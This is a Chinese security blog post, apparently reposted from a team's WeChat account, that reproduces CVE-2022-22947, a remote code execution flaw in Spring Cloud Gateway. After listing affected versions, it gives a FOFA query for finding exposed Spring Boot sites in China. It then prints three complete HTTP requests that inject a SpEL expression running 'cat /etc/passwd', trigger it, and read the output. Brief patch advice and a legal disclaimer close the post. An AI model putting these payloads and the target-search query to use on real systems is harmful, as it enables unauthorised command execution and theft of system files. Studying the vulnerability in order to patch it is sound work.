【漏洞复现】Spring Colud Gateway代码注入漏洞(CVE-2022-22947)

admin 2022年7月4日17:41:40评论826 views字数 2433阅读8分6秒阅读模式

【漏洞复现】Spring Colud Gateway代码注入漏洞(CVE-2022-22947)



0x01  前言


    2022年3月1日,VMware官方发布漏洞报告,在使用Spring Colud Gateway的应用程序开启、暴露Gateway Actuator端点时,会容易造成代码注入攻击,攻击者可以制造恶意请求,在远程主机进行任意远程执行。


0x02  影响范围


    • Spring Cloud Gateway 3.1.x < 3.1.1

    • Spring Cloud Gateway 3.0.x < 3.0.7

    • 旧的、不受支持的版本也会受到影响


0x03  利用条件


    除了Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口)


0x04  漏洞复现


    使用fofa搜索出使用springboot 框架的网站。

fofa搜索语法:header="X-Application-Context" && country="CN" && is_domain=true

【漏洞复现】Spring Colud Gateway代码注入漏洞(CVE-2022-22947)


    过滤URL 存在actuator/gateway/refresh ,GET请求返回405
    POST 请求正常,且返回的Content-Length: 0

【漏洞复现】Spring Colud Gateway代码注入漏洞(CVE-2022-22947)


    发送第一个POST请求,构造包含恶意请求的路由,返回201即为成功。

POST数据包:POST /actuator/gateway/routes/112 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: sid=74d0f57b-0078-47f7-962e-187714fce82dContent-Type: application/jsonContent-Length: 330
{ "id": "112", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result1", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"cat /etc/passwd"}).getInputStream()))}" } }], "uri": "http://example.com"}

【漏洞复现】Spring Colud Gateway代码注入漏洞(CVE-2022-22947)

    发送第二个POST请求,触发表达式执行。

POST数据包:POST /actuator/gateway/refresh HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

【漏洞复现】Spring Colud Gateway代码注入漏洞(CVE-2022-22947)

    GET请求访问第一个数据包创建的路由,查看代码执行结果。

GET数据包:GET /actuator/gateway/routes/112 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: close

【漏洞复现】Spring Colud Gateway代码注入漏洞(CVE-2022-22947)


0x05  修复建议

   

    目前spring官方已发布修复补丁,请用户尽快升级到安全版本。

        • 3.1.x 用户升级到3.1.1以上版本

        • 3.0.x 用户升级到3.0.7以上版本


0x06  免责声明


本文仅限于技术研究学习,切勿将文中技术细节用作非法用途,如有违者后果自负。



关于我们


“TERRA星环”安全团队正式成立于2020年,是贵州泰若数字科技有限公司旗下以互联网攻防技术研究为目标的安全团队。团队核心成员长期从事渗透测试、代码审计、应急响应等安服工作,多次参与国家、省级攻防演练行动,具备丰富的安服及攻防对抗经验。

团队专注于漏洞挖掘、漏洞研究、红蓝对抗、CTF夺旗、溯源取证、威胁情报、代码审计、逆向分析等研究。对外提供安全评估、安全培训、安全咨询、安全集成、应急响应等服务。


原文始发于微信公众号(TERRA星环安全团队):【漏洞复现】Spring Colud Gateway代码注入漏洞(CVE-2022-22947)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月4日17:41:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】Spring Colud Gateway代码注入漏洞(CVE-2022-22947)http://cn-sec.com/archives/1156177.html

发表评论

匿名网友 填写信息